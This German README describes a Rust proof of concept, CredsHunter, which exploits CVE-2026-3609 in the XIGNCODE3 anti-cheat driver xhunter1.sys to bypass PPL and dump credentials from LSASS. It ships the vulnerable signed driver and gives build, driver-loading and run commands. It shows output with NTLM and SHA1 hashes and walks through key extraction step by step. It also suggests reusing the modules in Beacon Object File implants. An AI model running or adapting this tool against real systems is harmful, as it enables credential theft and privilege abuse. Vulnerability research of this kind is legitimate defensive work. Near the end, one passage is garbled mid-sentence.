
PoC für CVE-2026-3609 - XIGNCODE3 xhunter1.sys Handle-Leck ermöglicht PPL-Umgehung und LSASS-Dumping
LSASS Credential-Dump Proof-of-Concept für einen PPL-umgehenden Prozess-Handle-Leck im Anti-Cheat-Treiber XIGNCODE3 von Wellbia, xhunter1.sys.
Der Treiber stellt eine IRP_MJ_WRITE-Befehlsschnittstelle bereit, die ObOpenObjectByPointer mit AccessMode = KernelMode und ohne OBJ_KERNEL_HANDLE aufruft und dabei einen vom Kernel erstellten PROCESS_ALL_ACCESS-Handle direkt in die Handle-Tabelle des Aufrufers ablegt. Von dort aus liest der Standard-Credential-Dumping-Code den 3DES-Schlüssel von lsasrv.dll aus dem Ziel und stellt NTLM- und SHA1-Hashes für jede aktive Logon-Sitzung wieder her.
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
Der anfällige signierte Treiber ist in diesem Repository enthalten (xhunter1.sys), sodass der Exploit durchgängig reproduzierbar ist. Überprüfen Sie den Hash vor dem Laden:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
Neuere XIGNCODE3-Versionen sind gepatcht. Die anfällige signierte Binärdatei bleibt als BYOVD-Primitive auf jedem Host verwendbar, auf dem sie abgelegt und geladen werden kann.
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
Die Release-Binärdatei befindet sich unter target\release\CredsHunter.exe.
Laden Sie den mitgelieferten Treiber als Kernel-Dienst (die Geräte-DACL des Treibers erlaubt jeden Aufrufer, sobald er läuft):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
Führen Sie das Tool aus:
.\target\release\CredsHunter.exe
Zum anschließenden Aufräumen:
sc stop xhunter
sc delete xhunter
Der standardmäßige Gerätename ist \\.\xhunter (entspricht dem obigen Beispiel-Dienstnamen). Wenn Ihr Dienst einen anderen Namen verwendet, folgt der Gerätepfad diesem — bearbeiten Sie driver::DEFAULT_DEVICE oder rufen Sie entsprechend Xhunter::open_named auf.
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
Das MemReader-Trait abstrahiert Speicherlesevorgänge, sodass die Module zur Extraktion von Anmeldedaten nicht von der spezifischen Treiberprimitive abhängen. Implementieren Sie das Trait auf einem anderen Leser (z. B. einer Beacon Object File-Laufzeit, einem ptwalk-basierten physikalischen Speicherleser), und die Module lsa, logon und wdigest lassen sich unverändert einbinden.
src/
├── main.rs # Banner, Ausführungsablauf, ExitCode-Behandlung
├── driver.rs # Xhunter, Session, MemReader-Trait, Protokollkonstanten
├── proc.rs # find_pid, PEB-Walk entfernte Modulsuche
├── pe.rs # Lokale PE-Analyse + Musterscan + RIP-Dekodierung
├── lsa.rs # LSA-Schlüsselmuster, BCrypt-Schlüsselextraktion, 3DES-Entschlüsselung
├── logon.rs # LogonSessionList-Durchlauf + MSV1_0-Offsets
├── wdigest.rs # WDigest-Listendurchlauf (bestmöglich)
└── sys.rs # OS-Buildnummer
48 3B D9 74), das aus dem ursprünglichen öffentlichen PoC übernommen wurde und für Windows 11 Build 26100+ nicht aktualisiert wurde. Der Aufbau einer pro-Build-Tabelle ist einfach; Pull-Requests sind willkommen.xhunter codiert. Wenn Sie den Treiber unter einem anderen Namen laden, bearbeiten Sie driver::DEFAULT_DEVICE oder übergeben Sie eine Überschreibung an Xhunter::open_named.Nur für Forschung, autorisierte Tests und defensive Werkzeuge. Das Laden des anfälligen Treibers auf einem System, das Ihnen nicht gehört oder für das Sie keine ausdrückliche Erlaubnis zum Testen haben, ist in den meisten Rechtsordnungen eine Straftat. Der Autor übernimmt keine Verantwortung für Missbrauch.
Siehe LICENSE.
| Stufe | Komponente | Was passiert |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") – keine Authentifizierung am Gerät |
| 2 | driver.rs → Xhunter::open_process | WriteFile mit Befehl 785 (PID, PROCESS_ALL_ACCESS). Der Treiber ruft ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) auf und schreibt den Handle bei +0x10 in den Antwortpuffer des Benutzers. Der Handle umgeht PPL, da AccessMode = KernelMode die Zugriffsprüfung überspringt, und landet in unserer Handle-Tabelle, weil OBJ_KERNEL_HANDLE nicht gesetzt ist. |
| 3 | driver.rs → Session::attach | Prüft ReadProcessMemory gegen den vom Kernel erstellten Handle. Fällt auf Treiberbefehl 787 (KeStackAttachProcess + memcpy) zurück, wenn RPM blockiert ist. |
| 4 | lsa.rs | Scannt lokal den .text-Bereich von lsasrv.dll nach Mustern, um RIP-relative Zeiger auf den AES-Schlüssel, 3DES-Schlüssel und IV innerhalb von LsaInitializeProtectedMemory zu finden. Berechnet diese VAs auf das Mapping des Ziels um, durchläuft BCRYPT_HANDLE_KEY → BCRYPT_KEY81 und extrahiert die rohen 3DES-Bytes aus dem Ziel. |
| 5 | logon.rs | Durchläuft LogonSessionList (pro Build-Signaturtabelle). Die primären Anmeldedaten jedes Eintrags bei +credentials → +0x10 → +0x30 enthalten einen 0x1B0 Byte großen 3DES-verschlüsselten Block. bcrypt.dll entschlüsselt ihn; die Bytes 70..86 sind der NT-Hash, 102..122 der SHA1. |